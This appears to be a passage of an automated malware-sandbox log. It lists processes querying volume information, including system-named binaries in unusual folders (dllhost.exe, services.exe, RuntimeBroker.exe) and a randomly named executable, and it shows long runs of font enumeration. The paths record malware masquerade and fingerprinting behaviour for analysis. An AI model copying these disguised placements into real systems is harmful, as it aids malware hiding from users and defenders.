Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Default\dllhost.exe	Queries volume information: C:\Users\Default\dllhost.exe VolumeInformation
Source: C:\Users\Default\dllhost.exe	Queries volume information: C:\Users\Default\dllhost.exe VolumeInformation
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Queries volume information: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe VolumeInformation
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Queries volume information: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe VolumeInformation
Source: C:\Program Files\Windows Portable Devices\services.exe	Queries volume information: C:\Program Files\Windows Portable Devices\services.exe VolumeInformation
Source: C:\Program Files\Windows Portable Devices\services.exe	Queries volume information: C:\Program Files\Windows Portable Devices\services.exe VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
